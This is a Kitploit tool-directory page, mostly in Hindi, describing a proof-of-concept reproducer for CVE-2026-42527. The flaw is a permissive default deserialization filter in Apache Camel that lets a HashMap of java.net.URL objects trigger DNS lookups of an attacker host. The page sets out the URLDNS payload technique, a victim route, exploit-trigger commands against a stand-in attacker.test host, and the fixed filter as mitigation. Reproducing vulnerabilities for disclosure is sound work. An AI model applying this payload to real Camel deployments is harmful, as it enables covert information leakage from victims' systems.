Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-42527 — CVE-2026-42527 के लिए पुनरुत्पादक — Apache Camel अनुमत डिफ़ॉल्ट ObjectInputFilter java.net.URL स्वीकार करता है, जिससे DNS-आधारित आउट-ऑफ-बैंड साइड चैनल सक्षम होता है | Kitploit
उपकरण/GitHubGitHub/oscerd/cve-2026-42527
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणडेटा निष्कासनपेनिट्रेशन टेस्टिंगDNS विश्लेषण
GitHuboscerd/cve-2026-42527

CVE-2026-42527

CVE-2026-42527 के लिए पुनरुत्पादक — Apache Camel अनुमत डिफ़ॉल्ट ObjectInputFilter java.net.URL स्वीकार करता है, जिससे DNS-आधारित आउट-ऑफ-बैंड साइड चैनल सक्षम होता है

रिपॉजिटरी देखें
582 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Permissive Default ObjectInputFilter — DNS साइड-चैनल रिप्रोड्यूसर (CVE-2026-42527)

यह प्रोजेक्ट अपाचे कैमल में CVE-2026-42527 को प्रदर्शित करता है। डिफ़ॉल्ट ObjectInputFilter पैटर्न जो कई कैमल घटक डिफेंस-इन-डेप्थ डिसीरियलाइज़ेशन फ़िल्टरिंग के लिए शिप करते हैं — java.**;javax.**;org.apache.camel.**;!* — एक रिकर्सिव java.** ग्लोब का उपयोग करता है जो java.net.URL को स्वीकार करता है। java.net.URL.hashCode() URL के होस्ट का DNS रिज़ॉल्यूशन करता है, इसलिए एक HashMap (या कोई भी संग्रह जो अपने तत्वों को हैश करता है) जिसमें java.net.URL कुंजी है, को डिसीरियलाइज़ करने से JVM डिसीरियलाइज़ेशन के दौरान एक हमलावर-आपूर्ति किए गए होस्ट के लिए DNS क्वेरी जारी करता है। क्लास-स्तरीय फ़िल्टर जाँच पास हो जाती है (परिणामी ऑब्जेक्ट एक HashMap है, जो अनुमति-सूची में है), इसलिए इसे रोकने वाला कुछ भी नहीं है — एक आउट-ऑफ-बैंड सूचना-प्रकटीकरण साइड चैनल (RCE नहीं)।

परामर्श: https://camel.apache.org/security/CVE-2026-42527.html

भेद्यता सारांश

गुणमान
घटकcamel-jms, camel-sjms, camel-amqp, camel-mina, camel-netty, camel-netty-http, camel-vertx-http, camel-infinispan, और एग्रीगेशन रिपॉजिटरी (camel-leveldb, camel-cassandraql, camel-consul, camel-sql)
दोषडिफ़ॉल्ट फ़िल्टर java.**;javax.**;org.apache.camel.**;!* java.net.URL / java.net.InetAddress को स्वीकार करता है
CWECWE-502 (असुरक्षित डिसीरियलाइज़ेशन) जिससे DNS के माध्यम से आउट-ऑफ-बैंड सूचना प्रकटीकरण / ब्लाइंड SSRF होता है
प्रभावडिसीरियलाइज़ेशन के दौरान हमलावर-अवलोकनीय DNS क्वेरी (डेटा निष्कर्षण साइड चैनल)
प्रभावित संस्करण4.14.0–4.14.7, 4.18.0–4.18.2, 4.20.0
ठीक किए गए संस्करण4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23372
रिपोर्टरवेंकटरमण कुमार (Securin) और यू बाओ (PayPal)

यह दोष डिसीरियलाइज़ेशन-सख्तीकरण श्रृंखला (CAMEL-23297/23319/23321/23322/23324) द्वारा पेश किया गया था, जिसने बहुत ही अनुमेय डिफ़ॉल्ट फ़िल्टर जोड़ा। CVE-2026-42527 इसे कसता है।

तकनीकी विवरण

यह PoC camel-mina 4.18.2 का उपयोग करता है, जहाँ MinaConverter.toObjectInput डिफ़ॉल्ट फ़िल्टर को सीधे ObjectInputStream पर स्थापित करता है, इसलिए फ़िल्टर गेटिंग नियंत्रण है (एक साफ प्रभावित-बनाम-ठीक किया गया कंट्रास्ट):

// MinaConverter.toObjectInput(IoBuffer) - affected 4.18.2
static final String DEFAULT_DESERIALIZATION_FILTER = "java.**;javax.**;org.apache.camel.**;!*";
...
ObjectInputStream ois = new ObjectInputStream(is);
ObjectInputFilter jvmFilter = ObjectInputFilter.Config.getSerialFilter();
ois.setObjectInputFilter(jvmFilter != null
        ? jvmFilter
        : ObjectInputFilter.Config.createFilter(DEFAULT_DESERIALIZATION_FILTER));

java.** ग्लोब java.net.URL को स्वीकार करता है। HashMap<URL, ...> के डिसीरियलाइज़ेशन पर, HashMap.readObject() प्रविष्टि को पुनः सम्मिलित करता है और hash(key) → URL.hashCode() → InetAddress.getByName(host) की गणना करता है → हमलावर के होस्ट के लिए एक DNS क्वेरी। 4.18.3 / 4.21.0 फिक्स एक अस्वीकार को प्रस्तुत करता है:

// fixed
static final String DEFAULT_DESERIALIZATION_FILTER = "!java.net.**;java.**;javax.**;org.apache.camel.**;!*";

अब java.net.URL को डिसीरियलाइज़ेशन के दौरान अस्वीकार कर दिया जाता है (InvalidClassException: filter status: REJECTED) इससे पहले कि hashCode() कभी चले — कोई DNS क्वेरी नहीं।

सबसे अधिक वास्तविक जोखिम camel-jms परिवार का है, जहाँ JmsBinding.extractBodyFromJms बिना शर्त ObjectMessage.getObject() को कॉल करता है जब mapJmsMessage=true (डिफ़ॉल्ट)। यह PoC camel-mina का उपयोग करता है क्योंकि यह स्व-निहित है (कोई ब्रोकर नहीं) और फ़िल्टर सीधे स्ट्रीम पर बैठता है।

पीड़ित रूट

from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
    .process(exchange -> {
        ObjectInput oi = exchange.getIn().getBody(ObjectInput.class);  // MinaConverter.toObjectInput (default filter)
        Object obj = oi.readObject();                                  // HashMap.readObject -> URL.hashCode() -> DNS
    });

प्रूफ कैसे काम करता है (कोई बाहरी DNS सर्वर नहीं)

java.net.URL.hashCode() JVM के रिज़ॉल्वर के माध्यम से होस्ट को हल करता है। उस लुकअप को नियतात्मक रूप से और ऑफ़लाइन देखने के लिए, ऐप एक कस्टम java.net.spi.InetAddressResolverProvider (JDK 18+, JEP 418) पंजीकृत करता है जो हमलावर मार्कर वाले किसी भी होस्टनाम को रिकॉर्ड करता है और इसे लूपबैक स्टब के साथ उत्तर देता है। हमलावर होस्ट को रिज़ॉल्वर तक पहुँचते देखना ही आउट-ऑफ-बैंड साइड चैनल का फायर होना है।

पेलोड क्लासिक ysoserial URLDNS ट्रिक के साथ बनाया गया है: URL के कैश्ड hashCode फ़ील्ड को पहले से बीज दिया जाता है ताकि इसे बिल्डर पक्ष पर मानचित्र में सम्मिलित करने से होस्ट हल न हो, फिर इसे -1 पर रीसेट करें ताकि लुकअप केवल तब हो जब पीड़ित डिसीरियलाइज़ करता है। (उस रिफ्लेक्शन के लिए --add-opens java.base/java.net की आवश्यकता है — एक पेलोड-निर्माण विवरण, भेद्यता से असंबंधित।)

CVE-2026-42527/
├── pom.xml                    # camel-mina 4.18.2 (permissive default filter)
├── Dockerfile                 # runs the app (--add-opens java.base/java.net for payload build)
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── MinaObjectRoute.java        # victim: mina consumer -> ObjectInput.readObject()
    │   ├── PayloadFactory.java         # HashMap<URL> URLDNS payload (no builder-side DNS)
    │   ├── ExfilResolverProvider.java  # stub DNS server (InetAddressResolverProvider) that records lookups
    │   ├── ExfilLog.java
    │   └── ExploitController.java      # /exploit/inject: sends payload over TCP, checks for the DNS lookup
    └── resources/
        ├── application.properties
        └── META-INF/services/java.net.spi.InetAddressResolverProvider

पूर्वापेक्षाएँ

  • Java 17+ और Maven 3.8+ (JDK 21 बनाने के लिए — प्रूफ JDK 18+ रिज़ॉल्वर SPI का उपयोग करता है)
  • Docker (रिप्रोड्यूसर चलाता है)

पुनरुत्पादन चरण

चरण 1: कंटेनर बनाएँ और प्रारंभ करें

mvn clean package -DskipTests
docker compose up -d --build

चरण 2: डिसीरियलाइज़ेशन (DNS साइड चैनल) को ट्रिगर करें

curl -s http://localhost:8080/exploit/inject
# -> Sent HashMap<URL> payload to mina:tcp://127.0.0.1:5555
#    URL key host: dns-exfil-proof.cve-2026-42527.attacker.test
#
#    >>> DNS side-channel proof — resolver saw a lookup for the attacker host: true
#        observed lookups: [dns-exfil-proof.cve-2026-42527.attacker.test]

true का अर्थ है कि हमलावर के HashMap<URL> के डिसीरियलाइज़ेशन ने हमलावर होस्ट को हल किया — एक हमलावर-नियंत्रित DNS सर्वर वह क्वेरी देखेगा।

चरण 3 (वैकल्पिक): फिक्स / मिटिगेशन दिखाएँ जो इसे रोकता है

कठोर JVM-व्यापी फ़िल्टर के साथ चलाएँ (जिसे toObjectInput सम्मानित करता है, और जो 4.18.3 फिक्स को दर्शाता है):

mvn clean package -DskipTests
java --add-opens java.base/java.net=ALL-UNNAMED \
     -Djdk.serialFilter='!java.net.**;java.**;javax.**;org.apache.camel.**;!*' \
     -jar target/cve-2026-42527-deserialization-filter-0.0.1-SNAPSHOT.jar
# then:  curl -s http://localhost:8080/exploit/inject
# -> ... resolver saw a lookup for the attacker host: false
#    (the route log shows InvalidClassException: filter status: REJECTED)

सफाई

docker compose down

हमले के वैक्टर

कोई भी प्रभावित कैमल उपभोक्ता जो डिफ़ॉल्ट फ़िल्टर के तहत हमलावर-नियंत्रित बाइट्स को डिसीरियलाइज़ करता है — विशेष रूप से एक camel-jms/sjms/amqp उपभोक्ता जिसमें mapJmsMessage=true, या mina/netty/vertx-http/infinispan और एग्रीगेशन-रिपॉजिटरी घटक — जहाँ हमलावर HashMap<URL> (या java.net.URL का कोई भी हैशिंग संग्रह) वितरित कर सकता है।

शोषण की शर्तें

  1. एक प्रभावित कैमल घटक डिफ़ॉल्ट फ़िल्टर के तहत हमलावर-नियंत्रित बाइट्स को डिसीरियलाइज़ कर रहा है (कोई स्पष्ट deserializationFilter / -Djdk.serialFilter ओवरराइड नहीं, और कोई प्रदाता-पक्ष अनुमति-सूची नहीं)।
  2. हमलावर पेलोड में एक हैशिंग संग्रह के अंदर java.net.URL रख सकता है। कोई गैजेट लाइब्रेरी आवश्यक नहीं है — केवल स्टॉक JDK क्लासेज।

अनुशंसित फिक्स

टूल डाउनलोड करें